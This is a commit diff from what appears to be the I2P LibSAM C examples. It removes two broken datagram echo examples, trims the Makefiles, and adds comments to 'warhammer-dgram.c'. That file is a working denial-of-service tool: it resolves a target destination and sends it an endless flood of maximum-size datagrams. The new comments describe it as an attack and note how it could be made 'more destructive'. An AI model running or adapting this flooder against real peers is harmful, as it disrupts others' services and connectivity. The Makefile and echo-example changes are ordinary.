Removed broken examples and added some more comments to warhammer

apps/sam/c/examples/Makefile

@@ -20,15 +20,7 @@ LIBS = -lsam
 # Build rules
 #
 
-all: dgram-client dgram-server warhammer-dgram
-
-dgram-client:
-	$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
-	$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
-
-dgram-server:
-	$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
-	$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
+all: warhammer-dgram
 
 warhammer-dgram:
 	$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
@@ -39,4 +31,4 @@ warhammer-dgram:
 #
 
 clean:
-	-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram
+	-rm -f *.o *.exe warhammer-dgram

apps/sam/c/examples/Makefile.mingw

@@ -13,23 +13,15 @@ CC = C:\Dev-Cpp\bin\gcc
 #
 
 CFLAGS = -g -O2 -pipe -std=c99 -Wall
-CFLAGS += -I../inc -L../lib
 CFLAGS += -DWINSOCK
+CFLAGS += -I../inc -L../lib
 LIBS = -lsam -lwsock32
 
 #
 # Build rules
 #
 
-all: dgram-client dgram-server warhammer-dgram
-
-dgram-client:
-	$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
-	$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
-
-dgram-server:
-	$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
-	$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
+all: warhammer-dgram
 
 warhammer-dgram:
 	$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
@@ -40,4 +32,4 @@ warhammer-dgram:
 #
 
 clean:
-	-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram
+	-rm -f *.o *.exe warhammer-dgram

apps/sam/c/examples/dgram-client.c

-/*
- * Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
- * All rights reserved.
- * 
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- * 
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *     * Neither the name of the author nor the names of any contributors
- * may be used to endorse or promote products derived from this software
- * without specific prior written permission.
- * 
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include <stdbool.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include "sam.h"
-
-static void dgramback(sam_pubkey_t dest, void *data, size_t size);
-static void diedback(void);
-static void logback(char *s);
-static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
-
-/*
- * This is an extremely simple echo client which shows you how LibSAM
- * datagrams work.  We lookup the name 'dgram-server' then send some data to
- * him.  If everything works, we should get the same data back.
- */
-
-/*
- * NOTE!!!!!!!! This is currently broken!
- */
-
-int main(int argc, char* argv[])
-{
-	samerr_t rc;
-
-	/* Hook up the callback functions */
-	sam_dgramback = &dgramback;
-	sam_diedback = &diedback;
-	sam_logback = &logback;
-	sam_namingback = &namingback;
-
-	/* Connect to the SAM server -- you can use either an IP or DNS name */
-	rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0);
-	if (rc != SAM_OK) {
-		fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
-		exit(1);
-	}
-	/*
-	 * This is equivalent to doing a DNS lookup on the normal internet.  Note
-	 * that the dgram-server must already be running for this to work.
-	 * When the lookup completes, we send them some data (see namingback()).
-	 */
-	sam_naming_lookup("dgram-server");
-
-	/*
-	 * Wait for something to happen, then invoke the appropriate callback
-	 */
-	while (true)
-		sam_read_buffer();
-
-	return 0;
-}
-
-/*
- * When we receive some data, print it out to the screen
- */
-static void dgramback(sam_pubkey_t dest, void *data, size_t size)
-{
-	printf("Datagram received: %s\n", (char *)data);
-	free(data);
-}
-
-/*
- * This is called whenever the SAM connection fails (like if the I2P router is
- * shut down)
- */
-static void diedback(void)
-{
-	fprintf(stderr, "Lost SAM connection!\n");
-	exit(1);
-}
-
-/*
- * The logging callback prints any logging messages from LibSAM
- */
-static void logback(char *s)
-{
-	fprintf(stderr, "LibSAM: %s\n", s);
-}
-
-/*
- * When a name is resolved, send data to that destination address
- */
-static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
-{
-	char *data = "Hello, invisible world!";
-
-	printf("I got %s's base 64 destination, so now I will send him some " \
-		"data...\n", name);
-	sam_dgram_send(pubkey, data, strlen(data));
-	/*
-	 * ^^^ An extra NUL is appended to the data by LibSAM, so it is not
-	 * necessary to send trailing NULs over the wire for strings.  This doesn't
-	 * cause problems with binary data, because the NUL isn't included in `size'
-	 * in sam_dgramback().
-	 * That is why we use strlen(data) instead of strlen(data) + 1.
-	 */
-	puts("Datagram sent");
-}

apps/sam/c/examples/dgram-server.c

-/*
- * Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
- * All rights reserved.
- * 
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- * 
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *     * Neither the name of the author nor the names of any contributors
- * may be used to endorse or promote products derived from this software
- * without specific prior written permission.
- * 
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include <assert.h>
-#include <stdbool.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include "sam.h"
-
-static void dgramback(sam_pubkey_t dest, void *data, size_t size);
-static void diedback(void);
-static void logback(char *s);
-static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
-
-/*
- * This is an extremely simple echo server which shows you how LibSAM
- * datagrams work.  We echo back every datagram that is sent to us.
- */
-int main(int argc, char* argv[])
-{
-	samerr_t rc;
-
-	/* Hook up the callback functions */
-	sam_dgramback = &dgramback;
-	sam_diedback = &diedback;
-	sam_logback = &logback;
-	sam_namingback = &namingback;
-
-	/* Connect to the SAM server -- you can use either an IP or DNS name */
-	rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0);
-	if (rc != SAM_OK) {
-		fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
-		exit(1);
-	}
-
-	/*
-	 * At this point we just keep polling the buffer, which causes the
-	 * appropriate callbacks to be called whenever something happens
-	 */
-	while (true)
-		sam_read_buffer();
-
-	return 0;
-}
-
-/*
- * When we receive some data, we just ECHO the exact same data back to them
- */
-static void dgramback(sam_pubkey_t dest, void *data, size_t size)
-{
-	puts("Echoing datagram");
-	sam_dgram_send(dest, data, size);
-	free(data);
-}
-
-/*
- * This is called whenever the SAM connection fails (like if the I2P router is
- * shut down)
- */
-static void diedback(void)
-{
-	fprintf(stderr, "Lost SAM connection!\n");
-	exit(1);
-}
-
-/*
- * The logging callback prints any logging messages from LibSAM
- */
-static void logback(char *s)
-{
-	fprintf(stderr, "LibSAM: %s\n", s);
-}
-
-/*
- * Not used, but the function has to be in the program anyway
- */
-static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
-{
-	assert(false);  /* we don't do any naming lookups in this program */
-}

apps/sam/c/examples/warhammer-dgram.c

@@ -40,7 +40,8 @@
 #include "sam.h"
 
 /*
- * LibSAM callbacks
+ * LibSAM callbacks - functions in our code that are called by LibSAM when
+ * something happens
  */
 static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
 	size_t size);
@@ -48,31 +49,38 @@ static void diedback(sam_sess_t *session);
 static void logback(char *s);
 static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
 
+/*
+ * Just some ugly global variables.  Don't do this in your program.
+ */
 bool gotdest = false;
 sam_pubkey_t dest;
 
 int main(int argc, char* argv[])
 {
+	/*
+	 * The target of our attack is specified on the command line
+	 */
 	if (argc != 2) {
 		fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
 		return 1;
 	}
 
+	/* Hook up the callback functions - required by LibSAM */
 	sam_dgramback = &dgramback;
 	sam_diedback = &diedback;
 	sam_logback = &logback;
 	sam_namingback = &namingback;
 
 	/*
-	 * This tool would be more destructive if multiple session were used, but
-	 * they aren't - at least for now.
+	 * This tool would be more destructive if multiple SAM session were used,
+	 * but they aren't - at least for now.
 	 */
-	sam_sess_t *session = NULL;
-	session = sam_session_init(session);
+	sam_sess_t *session = NULL;  /* set to NULL to have LibSAM do the malloc */
+	session = sam_session_init(session);  /* malloc and set defaults */
 
-	/* a tunnel length of 2 is the default - adjust to your preference */
+	/* Connect to the SAM server -- you can use either an IP or DNS name */
 	samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT",
-		SAM_DGRAM, 2);
+		SAM_DGRAM, 2);  /* the tunnel length of 2 can be adjusted to whatever */
 	if (rc != SAM_OK) {
 		fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
 		sam_session_free(&session);
@@ -83,22 +91,31 @@ int main(int argc, char* argv[])
 	 * Check whether they've supplied a name or a base 64 destination
 	 *
 	 * Note that this is a hack.  Jrandom says that once certificates are added,
-	 * the length could be different depending on the certificate.
+	 * the length could be different depending on the certificate's size.
 	 */
 	if (strlen(argv[1]) == 516) {
 		memcpy(dest, argv[1], SAM_PUBKEY_LEN);
 		gotdest = true;
-	}
-	else
+	} else {
+		/*
+		 * If they supplied a name, we have to do a lookup on it.  This is
+		 * equivalent to doing a DNS lookup on the normal internet.  When the
+		 * lookup completes, we send them some data.
+		 */
 		sam_naming_lookup(session, argv[1]);
+	}
 
-	while (!gotdest)
+	while (!gotdest)  /* just wait for the naming lookup to complete */
 		sam_read_buffer(session);
 
 	char data[SAM_DGRAM_PAYLOAD_MAX];
-	memset(data, '#', SAM_DGRAM_PAYLOAD_MAX);
+	memset(data, '$', SAM_DGRAM_PAYLOAD_MAX);  /* We're sending them MONEY! */
 	size_t sentbytes = 0;
 	while (true) {
+		/*
+		 * Send them a flood of the largest sized datagrams possible in an
+		 * infinite loop!
+		 */
 		rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX);
 		if (rc != SAM_OK) {
 			fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
@@ -107,13 +124,23 @@ int main(int argc, char* argv[])
 		}
 		sentbytes += SAM_DGRAM_PAYLOAD_MAX;
 		printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
+		/*
+		 * sam_read_buffer() just checks for incoming activity from the SAM
+		 * session, and invokes the appropriate callbacks.  We aren't really
+		 * expecting any incoming activity here, but it is a good idea to check
+		 * anyway.
+		 */
 		sam_read_buffer(session);
 	}
 
-	sam_session_free(&session);
+	sam_session_free(&session); /* de-allocates memory used by the SAM session*/
 	return 0;
 }
 
+/*
+ * When we receive some data from another peer, just ignore it.  Denial of
+ * service programs don't need input ;)
+ */
 static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
 		size_t size)
 {
@@ -121,21 +148,34 @@ static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
 	free(data);
 }
 
+/*
+ * This is called whenever the SAM connection fails (like if the I2P router is
+ * shut down)
+ */
 static void diedback(sam_sess_t *session)
 {
 	fprintf(stderr, "Lost SAM connection!\n");
 	exit(1);
 }
 
+/*
+ * The logging callback prints any logging messages from LibSAM (typically
+ * errors)
+ */
 static void logback(char *s)
 {
 	fprintf(stderr, "LibSAM: %s\n", s);
 }
 
+/*
+ * This is really hackish, but we know that we are only doing one lookup, so
+ * what the hell
+ */
 static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
 {
 	if (result != SAM_OK) {
 		fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
+		/* high quality code would do a sam_session_free() here */
 		exit(1);
 	}
 	memcpy(dest, pubkey, SAM_PUBKEY_LEN);